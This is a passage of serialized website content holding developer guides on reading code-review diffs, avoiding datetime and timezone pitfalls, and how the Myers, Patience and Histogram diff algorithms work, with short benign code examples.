risky_operation()\n",[1560,235558,235559],{"class":1562,"line":343},[1560,235560,235561],{},"except:\n",[1560,235563,235564],{"class":1562,"line":365},[1560,235565,235566],{},"    pass  # Bug: swallows all errors silently\n",[16,235568,235569,235570,235573],{},"A bare ",[143,235571,235572],{},"except: pass"," is almost always a bug. Errors should be logged, reported, or re-raised — never silenced.",[11,235575,235577],{"id":235576},"use-context-lines-wisely","Use Context Lines Wisely",[16,235579,235580],{},"Most diff tools show 3 lines of context above and below each change. This is usually enough for small edits, but larger refactorings need more.",[16,235582,235583],{},[47,235584,235585],{},"When to expand context:",[41,235587,235588,235591,235599],{},[44,235589,235590],{},"The change touches shared state (global variables, store mutations)",[44,235592,235593,235594,1531,235596,235598],{},"The diff hunk starts or ends with ",[143,235595,8230],{},[143,235597,8230],{}," — you may be inside a function whose signature you cannot see",[44,235600,235601],{},"The change references a variable whose declaration is outside the context window",[16,235603,235604],{},"Expand to 10+ lines when reviewing logic-heavy changes. Avoid reviewing with 0 context lines — you lose too much information.",[11,235606,235608],{"id":235607},"review-the-tests","Review the Tests",[16,235610,235611],{},"A diff that changes production code without modifying tests deserves skepticism. Ask:",[41,235613,235614,235617,235620],{},[44,235615,235616],{},"Does the existing test still pass with the new behavior?",[44,235618,235619],{},"Should a new test cover the added logic?",[44,235621,235622],{},"Does the diff fix a bug without adding a regression test?",[16,235624,235625],{},"Tests are part of the diff. Review them with the same rigor as the implementation.",[11,235627,235629],{"id":235628},"build-a-review-checklist","Build a Review Checklist",[16,235631,235632],{},"Create a personal checklist of things you check on every review. This prevents the \"I forgot to check X\" problem. Here is a starting point:",[41,235634,235636,235642,235648,235654,235660,235666,235672,235678],{"className":235635},[4464],[44,235637,235639,235641],{"className":235638},[4468],[4470,235640],{"disabled":363,"type":4472}," Does the change match the PR description?",[44,235643,235645,235647],{"className":235644},[4468],[4470,235646],{"disabled":363,"type":4472}," Are all new functions\u002Fmethods documented?",[44,235649,235651,235653],{"className":235650},[4468],[4470,235652],{"disabled":363,"type":4472}," Do new API calls handle errors?",[44,235655,235657,235659],{"className":235656},[4468],[4470,235658],{"disabled":363,"type":4472}," Are there off-by-one errors in loops and indices?",[44,235661,235663,235665],{"className":235662},[4468],[4470,235664],{"disabled":363,"type":4472}," Are resources (files, connections) closed on all paths?",[44,235667,235669,235671],{"className":235668},[4468],[4470,235670],{"disabled":363,"type":4472}," Do new tests actually test the new behavior?",[44,235673,235675,235677],{"className":235674},[4468],[4470,235676],{"disabled":363,"type":4472}," Are there any hardcoded secrets or credentials?",[44,235679,235681,235683],{"className":235680},[4468],[4470,235682],{"disabled":363,"type":4472}," Does the change introduce breaking changes to existing APIs?",[16,235685,235686],{},"Customize this list based on the bugs you encounter most often in your codebase.",[11,235688,235690],{"id":235689},"watch-for-security-issues","Watch for Security Issues",[16,235692,235693],{},"Security bugs hide in diffs more often than you think. Key patterns to scan for:",[41,235695,235696,235702,235708,235714,235720],{},[44,235697,235698,235701],{},[47,235699,235700],{},"SQL injection",": String concatenation in queries instead of parameterized statements",[44,235703,235704,235707],{},[47,235705,235706],{},"XSS",": Unsanitized user input rendered as HTML",[44,235709,235710,235713],{},[47,235711,235712],{},"Path traversal",": User-controlled file paths without validation",[44,235715,235716,235719],{},[47,235717,235718],{},"Hardcoded secrets",": API keys, tokens, or passwords committed to the repository",[44,235721,235722,235725],{},[47,235723,235724],{},"Insecure defaults",": Disabled authentication, missing rate limits",[16,235727,235728],{},"Security bugs are high-impact and easy to miss. Give them dedicated attention on every review.",[11,235730,235732],{"id":235731},"reviewing-large-diffs","Reviewing Large Diffs",[16,235734,235735],{},"When a PR touches hundreds of lines, break it into manageable chunks:",[77,235737,235738,235744,235750],{},[44,235739,235740,235743],{},[47,235741,235742],{},"Review by file"," — start with the most critical files (data layer, auth, entry points)",[44,235745,235746,235749],{},[47,235747,235748],{},"Review by concern"," — first pass for correctness, second for security, third for performance",[44,235751,235752,235755],{},[47,235753,235754],{},"Ask the author"," — request a walkthrough or a summary of the key changes",[16,235757,235758],{},"Avoid rubber-stamping large PRs. If you cannot review it thoroughly, ask the author to split it.",[11,235760,321],{"id":320},[41,235762,235763,235767,235771],{},[44,235764,235765],{},[98,235766,35382],{"href":35381},[44,235768,235769],{},[98,235770,222649],{"href":222648},[44,235772,235773],{},[98,235774,35394],{"href":35393},[11,235776,286],{"id":285},[16,235778,29979,235779,235781],{},[98,235780,35403],{"href":35402}," to compare code versions side by side. Paste your before and after code, spot every change, and catch bugs before they ship — no Git required.",[2043,235783,235784],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":235786},[235787,235788,235789,235790,235796,235797,235798,235799,235800,235801,235802],{"id":235305,"depth":337,"text":235306},{"id":235315,"depth":337,"text":235316},{"id":235344,"depth":337,"text":235345},{"id":235407,"depth":337,"text":235408,"children":235791},[235792,235793,235794,235795],{"id":235414,"depth":343,"text":235415},{"id":235474,"depth":343,"text":235475},{"id":235501,"depth":343,"text":235502},{"id":235540,"depth":343,"text":235541},{"id":235576,"depth":337,"text":235577},{"id":235607,"depth":337,"text":235608},{"id":235628,"depth":337,"text":235629},{"id":235689,"depth":337,"text":235690},{"id":235731,"depth":337,"text":235732},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"2026-05-27","Improve your code reviews with effective diff reading strategies. Learn to spot bugs, security issues, and style problems faster.",{"immutable":363},{"title":235300,"description":235804},"guides\u002Fcode-review-diff-tips","bTgbC-U1NzTIwb1V1vUyTEOtT41oeJnNxVsvAliF2nU",{"id":235810,"title":235811,"body":235812,"date":235803,"description":236420,"extension":361,"meta":236421,"navigation":363,"path":236422,"readingTime":1710,"seo":236423,"stem":236424,"__hash__":236425},"guides\u002Fguides\u002Fdatetime-programming-tips.md","DateTime Programming Tips: Common Pitfalls and Solutions",{"type":8,"value":235813,"toc":236397},[235814,235818,235821,235824,235826,235830,235859,235864,235868,235927,235936,235940,235942,235945,235951,235957,235959,235966,235992,235997,236001,236007,236012,236015,236018,236024,236027,236038,236042,236120,236126,236130,236134,236165,236169,236172,236186,236190,236210,236214,236312,236325,236327,236365,236367,236387,236389,236394],[11,235815,235817],{"id":235816},"datetime-bugs-are-silent-killers","DateTime Bugs Are Silent Killers",[16,235819,235820],{},"DateTime errors rarely crash your app. Instead, they produce wrong data — scheduled emails sent at the wrong hour, expired tokens that still work, reports covering the wrong date range. These bugs are hard to catch in testing and expensive to fix in production.",[16,235822,235823],{},"Here are the most common pitfalls and how to avoid them.",[11,235825,88252],{"id":88251},[33,235827,235829],{"id":235828},"pitfall-storing-local-time","Pitfall: Storing Local Time",[135,235831,235833],{"className":8259,"code":235832,"language":8261,"meta":141,"style":141},"# BAD — what timezone is this?\nevent_time = \"2025-05-26 14:00:00\"\n\n# GOOD — always store in UTC\nevent_time = \"2025-05-26T18:00:00Z\"  # 2 PM EDT = 6 PM UTC\n",[143,235834,235835,235840,235845,235849,235854],{"__ignoreMap":141},[1560,235836,235837],{"class":1562,"line":1563},[1560,235838,235839],{},"# BAD — what timezone is this?\n",[1560,235841,235842],{"class":1562,"line":337},[1560,235843,235844],{},"event_time = \"2025-05-26 14:00:00\"\n",[1560,235846,235847],{"class":1562,"line":343},[1560,235848,1702],{"emptyLinePlaceholder":363},[1560,235850,235851],{"class":1562,"line":365},[1560,235852,235853],{},"# GOOD — always store in UTC\n",[1560,235855,235856],{"class":1562,"line":889},[1560,235857,235858],{},"event_time = \"2025-05-26T18:00:00Z\"  # 2 PM EDT = 6 PM UTC\n",[16,235860,235861,235863],{},[47,235862,118614],{}," Store every timestamp in UTC. Convert to local time only when rendering to users. This eliminates ambiguity and makes arithmetic consistent.",[33,235865,235867],{"id":235866},"pitfall-ignoring-offset-in-parsing","Pitfall: Ignoring Offset in Parsing",[135,235869,235871],{"className":1607,"code":235870,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD — interprets as local time\nnew Date(\"2025-05-26T14:00:00\")\n\u002F\u002F In New York: May 26, 10:00 AM EDT\n\u002F\u002F In Tokyo: May 26, 11:00 PM JST\n\n\u002F\u002F GOOD — explicit UTC\nnew Date(\"2025-05-26T14:00:00Z\")\n\u002F\u002F Everywhere: May 26, 2:00 PM UTC\n",[143,235872,235873,235878,235891,235896,235901,235905,235909,235922],{"__ignoreMap":141},[1560,235874,235875],{"class":1562,"line":1563},[1560,235876,235877],{"class":1649},"\u002F\u002F BAD — interprets as local time\n",[1560,235879,235880,235882,235884,235886,235889],{"class":1562,"line":337},[1560,235881,20807],{"class":1669},[1560,235883,87644],{"class":1566},[1560,235885,1688],{"class":1570},[1560,235887,235888],{"class":5634},"\"2025-05-26T14:00:00\"",[1560,235890,8252],{"class":1570},[1560,235892,235893],{"class":1562,"line":343},[1560,235894,235895],{"class":1649},"\u002F\u002F In New York: May 26, 10:00 AM EDT\n",[1560,235897,235898],{"class":1562,"line":365},[1560,235899,235900],{"class":1649},"\u002F\u002F In Tokyo: May 26, 11:00 PM JST\n",[1560,235902,235903],{"class":1562,"line":889},[1560,235904,1702],{"emptyLinePlaceholder":363},[1560,235906,235907],{"class":1562,"line":1710},[1560,235908,225919],{"class":1649},[1560,235910,235911,235913,235915,235917,235920],{"class":1562,"line":1717},[1560,235912,20807],{"class":1669},[1560,235914,87644],{"class":1566},[1560,235916,1688],{"class":1570},[1560,235918,235919],{"class":5634},"\"2025-05-26T14:00:00Z\"",[1560,235921,8252],{"class":1570},[1560,235923,235924],{"class":1562,"line":1747},[1560,235925,235926],{"class":1649},"\u002F\u002F Everywhere: May 26, 2:00 PM UTC\n",[16,235928,235929,235930,235932,235933,468],{},"A timestamp string without a timezone offset means different things in different environments. Always include ",[143,235931,22039],{}," or an offset like ",[143,235934,235935],{},"+05:30",[11,235937,235939],{"id":235938},"daylight-saving-time-issues","Daylight Saving Time Issues",[33,235941,89185],{"id":89184},[16,235943,235944],{},"When clocks fall back (e.g., 2:00 AM → 1:00 AM in autumn), the same local time occurs twice. Which one did the user mean?",[135,235946,235949],{"className":235947,"code":235948,"language":140,"meta":141},[138],"2025-11-02 01:30:00 (first occurrence, EDT)\n2025-11-02 01:30:00 (second occurrence, EST)\n",[143,235950,235948],{"__ignoreMap":141},[16,235952,235953,235956],{},[47,235954,235955],{},"Solution:"," Use UTC internally. If you must accept local time, ask for the offset or use a timezone-aware library.",[33,235958,89432],{"id":89431},[16,235960,235961,235962,235965],{},"When clocks spring forward (e.g., 2:00 AM → 3:00 AM in spring), ",[143,235963,235964],{},"2:30 AM"," never exists.",[135,235967,235969],{"className":1607,"code":235968,"language":1609,"meta":141,"style":141},"\u002F\u002F In EDT→EST transition zones:\nnew Date(\"2025-03-09T02:30:00\")  \u002F\u002F jumps to 3:30 AM\n",[143,235970,235971,235976],{"__ignoreMap":141},[1560,235972,235973],{"class":1562,"line":1563},[1560,235974,235975],{"class":1649},"\u002F\u002F In EDT→EST transition zones:\n",[1560,235977,235978,235980,235982,235984,235987,235989],{"class":1562,"line":337},[1560,235979,20807],{"class":1669},[1560,235981,87644],{"class":1566},[1560,235983,1688],{"class":1570},[1560,235985,235986],{"class":5634},"\"2025-03-09T02:30:00\"",[1560,235988,10060],{"class":1570},[1560,235990,235991],{"class":1649},"\u002F\u002F jumps to 3:30 AM\n",[16,235993,235994,235996],{},[47,235995,235955],{}," Validate user-provided local times against DST transitions. Alert the user when a time does not exist.",[33,235998,236000],{"id":235999},"duration-calculations-across-dst","Duration Calculations Across DST",[135,236002,236005],{"className":236003,"code":236004,"language":140,"meta":141},[138],"Nov 1, 2025 1:00 AM EDT → Nov 2, 2025 1:00 AM EST\nElapsed: 25 hours (not 24)\n",[143,236006,236004],{"__ignoreMap":141},[16,236008,236009,236011],{},[47,236010,235955],{}," Calculate durations in UTC or use wall-clock libraries that account for DST.",[11,236013,236014],{"id":132715},"Leap Seconds",[16,236016,236017],{},"Leap seconds add or remove one second from UTC to keep it aligned with Earth's rotation. There have been 27 leap seconds since 1972.",[135,236019,236022],{"className":236020,"code":236021,"language":140,"meta":141},[138],"2016-12-31T23:59:60Z  ← a valid UTC time\n",[143,236023,236021],{"__ignoreMap":141},[16,236025,236026],{},"Most software ignores leap seconds. Unix timestamps skip them — each day is always 86400 seconds. This means:",[41,236028,236029,236032,236035],{},[44,236030,236031],{},"Sub-second-precision applications may drift",[44,236033,236034],{},"High-frequency trading and scientific software must handle them explicitly",[44,236036,236037],{},"Web applications can usually ignore leap seconds safely",[11,236039,236041],{"id":236040},"serialization-best-practices","Serialization Best Practices",[193,236043,236044,236057],{},[196,236045,236046],{},[199,236047,236048,236051,236054],{},[202,236049,236050],{},"Guideline",[202,236052,236053],{},"Do",[202,236055,236056],{},"Don't",[211,236058,236059,236069,236080,236094,236109],{},[199,236060,236061,236063,236066],{},[216,236062,24149],{},[216,236064,236065],{},"Use ISO 8601 with offset",[216,236067,236068],{},"Send local time without offset",[199,236070,236071,236074,236077],{},[216,236072,236073],{},"Databases",[216,236075,236076],{},"Store as UTC timestamp or timestamptz",[216,236078,236079],{},"Store as local time without zone",[199,236081,236082,236084,236089],{},[216,236083,13411],{},[216,236085,236086],{},[143,236087,236088],{},"\"2025-05-26T18:00:00Z\"",[216,236090,236091],{},[143,236092,236093],{},"\"05\u002F26\u002F2025 6:00 PM\"",[199,236095,236096,236099,236104],{},[216,236097,236098],{},"Filenames & logs",[216,236100,236101],{},[143,236102,236103],{},"2025-05-26T18-00-00Z.log",[216,236105,236106],{},[143,236107,236108],{},"May 26th.log",[199,236110,236111,236114,236117],{},[216,236112,236113],{},"User-facing",[216,236115,236116],{},"Convert to local format at render",[216,236118,236119],{},"Show raw UTC to users",[16,236121,236122,236125],{},[47,236123,236124],{},"Consistency wins."," Pick one format, document it, and enforce it across your entire stack.",[11,236127,236129],{"id":236128},"testing-strategies","Testing Strategies",[33,236131,236133],{"id":236132},"freeze-time-in-tests","Freeze Time in Tests",[135,236135,236137],{"className":1607,"code":236136,"language":1609,"meta":141,"style":141},"\u002F\u002F Use a mock or library to set a fixed \"now\"\nvi.setSystemTime(new Date(\"2025-05-26T12:00:00Z\"))\n",[143,236138,236139,236144],{"__ignoreMap":141},[1560,236140,236141],{"class":1562,"line":1563},[1560,236142,236143],{"class":1649},"\u002F\u002F Use a mock or library to set a fixed \"now\"\n",[1560,236145,236146,236149,236152,236154,236156,236158,236160,236163],{"class":1562,"line":337},[1560,236147,236148],{"class":1570},"vi.",[1560,236150,236151],{"class":1566},"setSystemTime",[1560,236153,1688],{"class":1570},[1560,236155,20807],{"class":1669},[1560,236157,87644],{"class":1566},[1560,236159,1688],{"class":1570},[1560,236161,236162],{"class":5634},"\"2025-05-26T12:00:00Z\"",[1560,236164,9429],{"class":1570},[33,236166,236168],{"id":236167},"test-dst-boundaries","Test DST Boundaries",[16,236170,236171],{},"Write tests for:",[41,236173,236174,236177,236180,236183],{},[44,236175,236176],{},"Times during the spring-forward gap",[44,236178,236179],{},"Times during the fall-back overlap",[44,236181,236182],{},"Midnight crossing in different time zones",[44,236184,236185],{},"Week-long calculations that span a DST change",[33,236187,236189],{"id":236188},"test-edge-cases","Test Edge Cases",[41,236191,236192,236195,236198,236204,236207],{},[44,236193,236194],{},"February 29 (leap year)",[44,236196,236197],{},"December 31 → January 1 (year boundary)",[44,236199,236200,236201,236203],{},"Timestamp ",[143,236202,5285],{}," (Unix epoch)",[44,236205,236206],{},"Very large timestamps (beyond 2038)",[44,236208,236209],{},"Negative timestamps (before 1970)",[11,236211,236213],{"id":236212},"recommended-libraries","Recommended Libraries",[193,236215,236216,236226],{},[196,236217,236218],{},[199,236219,236220,236222,236224],{},[202,236221,9824],{},[202,236223,187639],{},[202,236225,21086],{},[211,236227,236228,236238,236249,236262,236274,236286,236300],{},[199,236229,236230,236232,236236],{},[216,236231,9860],{},[216,236233,236234],{},[143,236235,133640],{},[216,236237,225642],{},[199,236239,236240,236242,236246],{},[216,236241,9860],{},[216,236243,236244],{},[143,236245,225668],{},[216,236247,236248],{},"Lightweight, moment-compatible API",[199,236250,236251,236253,236259],{},[216,236252,9840],{},[216,236254,236255,21111,236257],{},[143,236256,95026],{},[143,236258,88524],{},[216,236260,236261],{},"Built-in, no extra dependency",[199,236263,236264,236266,236271],{},[216,236265,9900],{},[216,236267,236268,236270],{},[143,236269,132387],{}," package",[216,236272,236273],{},"Stdlib, handles zones and parsing",[199,236275,236276,236278,236283],{},[216,236277,9880],{},[216,236279,236280,236282],{},[143,236281,87763],{}," (JSR 310)",[216,236284,236285],{},"Modern, immutable, timezone-aware",[199,236287,236288,236290,236297],{},[216,236289,23440],{},[216,236291,236292,21111,236295],{},[143,236293,236294],{},"TZInfo",[143,236296,132388],{},[216,236298,236299],{},"Full IANA timezone database",[199,236301,236302,236304,236309],{},[216,236303,87811],{},[216,236305,236306],{},[143,236307,236308],{},"DateTimeImmutable",[216,236310,236311],{},"Built-in, handles DST correctly",[16,236313,236314,236315,236317,236318,236321,236322,236324],{},"Avoid: ",[143,236316,225685],{}," (deprecated), Python ",[143,236319,236320],{},"pytz"," (replaced by ",[143,236323,95026],{},"), any library that mutates objects in place.",[11,236326,225954],{"id":225953},[41,236328,236330,236335,236341,236347,236353,236359],{"className":236329},[4464],[44,236331,236333,225963],{"className":236332},[4468],[4470,236334],{"disabled":363,"type":4472},[44,236336,236338,236340],{"className":236337},[4468],[4470,236339],{"disabled":363,"type":4472}," API responses include timezone offsets",[44,236342,236344,236346],{"className":236343},[4468],[4470,236345],{"disabled":363,"type":4472}," DST transitions handled in scheduling logic",[44,236348,236350,236352],{"className":236349},[4468],[4470,236351],{"disabled":363,"type":4472}," Duration calculations use UTC, not local time",[44,236354,236356,236358],{"className":236355},[4468],[4470,236357],{"disabled":363,"type":4472}," Tests cover timezone boundaries and leap years",[44,236360,236362,236364],{"className":236361},[4468],[4470,236363],{"disabled":363,"type":4472}," No deprecated datetime libraries in dependencies",[11,236366,321],{"id":320},[41,236368,236369,236375,236381],{},[44,236370,236371],{},[98,236372,236374],{"href":236373},"\u002Fguides\u002Funix-timestamp-guide","Unix Timestamp Explained",[44,236376,236377],{},[98,236378,236380],{"href":236379},"\u002Fguides\u002Ftimestamp-formats-explained","Timestamp Formats Explained",[44,236382,236383],{},[98,236384,236386],{"href":236385},"\u002Fguides\u002Fcommon-cron-schedules","Common Cron Schedules",[11,236388,286],{"id":285},[16,236390,29979,236391,236393],{},[98,236392,623],{"href":622}," to verify your timestamp conversions and catch timezone issues before they reach production.",[2043,236395,236396],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":236398},[236399,236400,236404,236409,236410,236411,236416,236417,236418,236419],{"id":235816,"depth":337,"text":235817},{"id":88251,"depth":337,"text":88252,"children":236401},[236402,236403],{"id":235828,"depth":343,"text":235829},{"id":235866,"depth":343,"text":235867},{"id":235938,"depth":337,"text":235939,"children":236405},[236406,236407,236408],{"id":89184,"depth":343,"text":89185},{"id":89431,"depth":343,"text":89432},{"id":235999,"depth":343,"text":236000},{"id":132715,"depth":337,"text":236014},{"id":236040,"depth":337,"text":236041},{"id":236128,"depth":337,"text":236129,"children":236412},[236413,236414,236415],{"id":236132,"depth":343,"text":236133},{"id":236167,"depth":343,"text":236168},{"id":236188,"depth":343,"text":236189},{"id":236212,"depth":337,"text":236213},{"id":225953,"depth":337,"text":225954},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Avoid common datetime programming mistakes. Time zones, DST, leap seconds, and best practices for reliable date handling.",{"immutable":363},"\u002Fguides\u002Fdatetime-programming-tips",{"title":235811,"description":236420},"guides\u002Fdatetime-programming-tips","U7xSkxnmT7wrambNaalq2WL76AU3lrh6DGXRhhIBJrc",{"id":236427,"title":236428,"body":236429,"date":235803,"description":236834,"extension":361,"meta":236835,"navigation":363,"path":222648,"readingTime":1710,"seo":236836,"stem":236837,"__hash__":236838},"guides\u002Fguides\u002Fdiff-algorithms-explained.md","Diff Algorithms Explained: Myers, Patience, and Histogram",{"type":8,"value":236430,"toc":236812},[236431,236435,236442,236445,236448,236452,236459,236461,236464,236467,236487,236489,236500,236503,236511,236551,236558,236562,236572,236575,236593,236595,236606,236609,236617,236622,236626,236637,236640,236654,236656,236667,236670,236678,236680,236740,236743,236754,236758,236784,236787,236789,236803,236805,236810],[11,236432,236434],{"id":236433},"the-problem-behind-every-diff","The Problem Behind Every Diff",[16,236436,236437,236438,236441],{},"Every diff tool solves the same mathematical problem: finding the ",[47,236439,236440],{},"Longest Common Subsequence (LCS)"," between two sequences of lines. The LCS is the longest set of lines that appear in both texts in the same order — though not necessarily contiguously.",[16,236443,236444],{},"Once you know the LCS, everything else is a deletion (lines in the original but not in the LCS) or an addition (lines in the new text but not in the LCS).",[16,236446,236447],{},"The challenge? The LCS problem is computationally expensive. A naive approach has exponential time complexity. Different algorithms trade accuracy, speed, and readability in different ways.",[11,236449,236451],{"id":236450},"myers-diff-algorithm","Myers Diff Algorithm",[16,236453,236454,236455,236458],{},"The Myers algorithm is the default in Git and most command-line diff tools. Published by Eugene Myers in 1986, it finds the ",[47,236456,236457],{},"shortest edit script"," — the smallest set of insertions and deletions that transforms the original text into the new text.",[33,236460,31483],{"id":31482},[16,236462,236463],{},"Myers treats the comparison as a graph search. Each point represents a position in both texts. The algorithm searches diagonally (matching lines) and horizontally or vertically (edits) to find the shortest path from start to finish.",[16,236465,236466],{},"Key properties:",[41,236468,236469,236475,236481],{},[44,236470,236471,236474],{},[47,236472,236473],{},"O(ND) time complexity"," — where N is the total text length and D is the number of differences",[44,236476,236477,236480],{},[47,236478,236479],{},"O(N²) worst case"," — when texts are completely different",[44,236482,236483,236486],{},[47,236484,236485],{},"Linear in matching regions"," — when texts share long common sections, it runs nearly in O(N)",[33,236488,160722],{"id":160721},[41,236490,236491,236494,236497],{},[44,236492,236493],{},"Produces the minimal edit script — no redundant insertions or deletions",[44,236495,236496],{},"Fast when differences are small relative to file size (the common case)",[44,236498,236499],{},"Well-tested and battle-proven in Git",[33,236501,224693],{"id":236502},"weaknesses",[41,236504,236505,236508],{},[44,236506,236507],{},"Can produce awkward output when moved blocks exist — it may break a moved function into scattered deletions and insertions",[44,236509,236510],{},"Does not recognize renames or moves natively",[135,236512,236514],{"className":164532,"code":236513,"language":35165,"meta":141,"style":141},"- function validate(input) {\n-   return input.length > 0;\n- }\n  \u002F\u002F ... 50 lines of unchanged code ...\n+ function validate(input) {\n+   return input.trim().length > 0;\n+ }\n",[143,236515,236516,236521,236526,236531,236536,236541,236546],{"__ignoreMap":141},[1560,236517,236518],{"class":1562,"line":1563},[1560,236519,236520],{},"- function validate(input) {\n",[1560,236522,236523],{"class":1562,"line":337},[1560,236524,236525],{},"-   return input.length > 0;\n",[1560,236527,236528],{"class":1562,"line":343},[1560,236529,236530],{},"- }\n",[1560,236532,236533],{"class":1562,"line":365},[1560,236534,236535],{},"  \u002F\u002F ... 50 lines of unchanged code ...\n",[1560,236537,236538],{"class":1562,"line":889},[1560,236539,236540],{},"+ function validate(input) {\n",[1560,236542,236543],{"class":1562,"line":1710},[1560,236544,236545],{},"+   return input.trim().length > 0;\n",[1560,236547,236548],{"class":1562,"line":1717},[1560,236549,236550],{},"+ }\n",[16,236552,236553,236554,236557],{},"In this case, Myers correctly detects the change, but if the entire function were ",[7310,236555,236556],{},"moved"," to a different location, it would show as a deletion at the old spot and an addition at the new one.",[11,236559,236561],{"id":236560},"patience-diff-algorithm","Patience Diff Algorithm",[16,236563,236564,236565,236568,236569,468],{},"Patience diff was created by Bram Cohen (also the creator of BitTorrent) and adopted by Git as an alternative strategy (",[143,236566,236567],{},"git diff --patience","). It focuses on producing ",[47,236570,236571],{},"more readable output for code",[33,236573,31483],{"id":236574},"how-it-works-1",[77,236576,236577,236584,236587,236590],{},[44,236578,236579,236580,236583],{},"Find all lines that appear ",[47,236581,236582],{},"exactly once"," in both texts — these are \"unique\" lines",[44,236585,236586],{},"Compute the LCS of these unique lines using a patience-sorting approach",[44,236588,236589],{},"Use the unique-line LCS as anchor points",[44,236591,236592],{},"Run Myers diff on the segments between anchors",[33,236594,160722],{"id":160774},[41,236596,236597,236600,236603],{},[44,236598,236599],{},"Better at preserving the structure of moved code blocks",[44,236601,236602],{},"Function signatures, class declarations, and closing braces act as natural anchors",[44,236604,236605],{},"Output aligns with how developers mentally parse code",[33,236607,224693],{"id":236608},"weaknesses-1",[41,236610,236611,236614],{},[44,236612,236613],{},"Slower than Myers when there are few unique lines (degenerate cases)",[44,236615,236616],{},"Still does not detect moves explicitly — it just avoids splitting them",[16,236618,236619,236621],{},[47,236620,133],{},": When a developer moves an entire method from the top of a file to the bottom, patience diff keeps the method intact instead of showing it as scattered line-level changes.",[11,236623,236625],{"id":236624},"histogram-diff-algorithm","Histogram Diff Algorithm",[16,236627,236628,236629,236632,236633,236636],{},"Histogram diff is the default in JGit (the Java implementation of Git) and is available in Git via ",[143,236630,236631],{},"git diff --histogram",". It extends patience diff with a focus on ",[47,236634,236635],{},"low-occurrence lines"," rather than strictly unique lines.",[33,236638,31483],{"id":236639},"how-it-works-2",[77,236641,236642,236648,236651],{},[44,236643,236644,236645],{},"For each segment between anchors, find the longest matching subsequence using lines with the ",[47,236646,236647],{},"lowest occurrence count",[44,236649,236650],{},"If a line appears 2 times in both texts,Histogram still considers it — patience would skip it",[44,236652,236653],{},"Recurse on remaining segments until no more matches exist",[33,236655,160722],{"id":160815},[41,236657,236658,236661,236664],{},[44,236659,236660],{},"More robust than patience diff — it handles files with repeated patterns (like boilerplate code) better",[44,236662,236663],{},"Often produces the most readable output for real-world codebases",[44,236665,236666],{},"Falls back gracefully — when no low-occurrence lines exist, it behaves like Myers",[33,236668,224693],{"id":236669},"weaknesses-2",[41,236671,236672,236675],{},[44,236673,236674],{},"Slightly slower than patience due to the additional occurrence-counting pass",[44,236676,236677],{},"Implementation complexity is higher",[11,236679,26165],{"id":26164},[193,236681,236682,236696],{},[196,236683,236684],{},[199,236685,236686,236688,236691,236693],{},[202,236687,6081],{},[202,236689,236690],{},"Time Complexity",[202,236692,489],{},[202,236694,236695],{},"Default In",[211,236697,236698,236711,236726],{},[199,236699,236700,236703,236706,236709],{},[216,236701,236702],{},"Myers",[216,236704,236705],{},"O(ND)",[216,236707,236708],{},"Small diffs, general use",[216,236710,151936],{},[199,236712,236713,236716,236719,236722],{},[216,236714,236715],{},"Patience",[216,236717,236718],{},"O(N log N) + O(ND)",[216,236720,236721],{},"Code with moved blocks",[216,236723,236724],{},[143,236725,236567],{},[199,236727,236728,236730,236732,236735],{},[216,236729,99956],{},[216,236731,236718],{},[216,236733,236734],{},"Real-world codebases",[216,236736,236737,236738],{},"JGit, ",[143,236739,236631],{},[16,236741,236742],{},"In practice, the differences are subtle for small files. They become noticeable on files with:",[41,236744,236745,236748,236751],{},[44,236746,236747],{},"Hundreds of lines changed",[44,236749,236750],{},"Moved or reordered functions",[44,236752,236753],{},"Repeated boilerplate patterns",[11,236755,236757],{"id":236756},"which-algorithm-should-you-use","Which Algorithm Should You Use?",[41,236759,236760,236766,236772,236778],{},[44,236761,236762,236765],{},[47,236763,236764],{},"General text comparison",": Myers — fast and minimal",[44,236767,236768,236771],{},[47,236769,236770],{},"Code review 